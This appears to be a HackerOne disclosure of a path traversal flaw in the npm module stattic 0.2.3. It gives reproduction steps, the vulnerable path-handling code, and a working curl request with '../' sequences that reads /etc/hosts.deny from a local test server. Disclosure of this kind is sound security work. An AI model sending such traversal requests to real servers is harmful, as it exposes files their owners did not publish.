Lucene search

K
hackeroneBl4deH1:319003
HistoryFeb 23, 2018 - 12:44 p.m.

Node.js third-party modules: [stattic] Inproper path validation leads to Path Traversal and allows to read arbitrary files with any extension(s)

2018-02-2312:44:58
bl4de
hackerone.com
29

0.003 Low

EPSS

Percentile

70.5%

I would like to report Path Traversal in stattic module.
It allows to read content of some arbitrary files from the server where stattic is installed and run.

Module

module name: statticversion:0.2.3npm page: https://www.npmjs.com/package/stattic

Module Description

Ridiculous simple script for serving static files using http module.

Module Stats

Stats
7 downloads in the last day
32 downloads in the last week
77 downloads in the last month

~900 estimated downloads per year

Vulnerability Description

Path Traversal vulnerability in stattic module allows to go up in directory tree and read content of some files outside of the root path set up in the module config.

However, this issue allows to read only files with extension, because if no extension is provided, stattic by default uses setting from options.index variable.

Steps To Reproduce:

Install stattic module:

$ npm install stattic

Create sample application:

// app.js
//Import libs
var stattic = require('stattic');
 
//Set the folder with the static files
stattic.set('folder', './');
 
//Set the port
stattic.set('port', 8080);
 
//Run the server
stattic.listen();

Run application:

$ node app.js

Here’s the part of stattic code responsible for handling paths:

// node_modules/stattic/index.js, line 70:

    //Parse the request url and get only the pathname
    var pathname = url.parse(req.url).pathname;

    //Resolve to the local folder
    var local_path = path.join(options.folder, pathname);

    //Check the extension
    if(path.extname(local_path) === '')
    {
      //Add the index file to the local path
      local_path = path.join(local_path, './' + path.basename(options.index));
    }

If file provided has no extension, / and options.index are added (by default, it will become /index.html). This causes that eg. /etc/passwd path become /etc/passwd/index.html, but /etc/hosts.deny is valid filename and can be read:

$ curl -v --path-as-is http://localhost:8080/../../../../../etc/hosts.deny
*   Trying ::1...
* Connected to localhost (::1) port 8080 (#0)
> GET /../../../../../etc/hosts.deny HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Content-Type: null
< Date: Fri, 23 Feb 2018 12:36:35 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
< 
# /etc/hosts.deny: list of hosts that are _not_ allowed to access the system.
#                  See the manual pages hosts_access(5) and hosts_options(5).
#
# Example:    ALL: some.host.name, .some.domain
#             ALL EXCEPT in.fingerd: other.host.name, .other.domain
#
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#
# The PARANOID wildcard matches any host whose name does not match its
# address.
#
# You may wish to enable this to ensure any programs that don't
# validate looked up hostnames still leave understandable logs. In past
# versions of Debian this has been the default.
# ALL: PARANOID

* Connection #0 to host localhost left intact

Patch

Probably some protection against typical Path Traversal exploitation methods should be introduced here.

Supporting Material/References:

  • Operating system: Ubuntu 16.04
  • Node.js 8.9.4
  • npm v. 5.6.0
  • curl 7.47.0

Wrap up

  • I contacted the maintainer to let him know: [N]
  • I opened an issue in the related repository: [N]

Regards,

Rafal ‘bl4de’ Janicki

Impact

Path Traversal vulnerability in stattic module allows to go up in directory tree and read content of some files outside of the root path set up in the module config.

0.003 Low

EPSS

Percentile

70.5%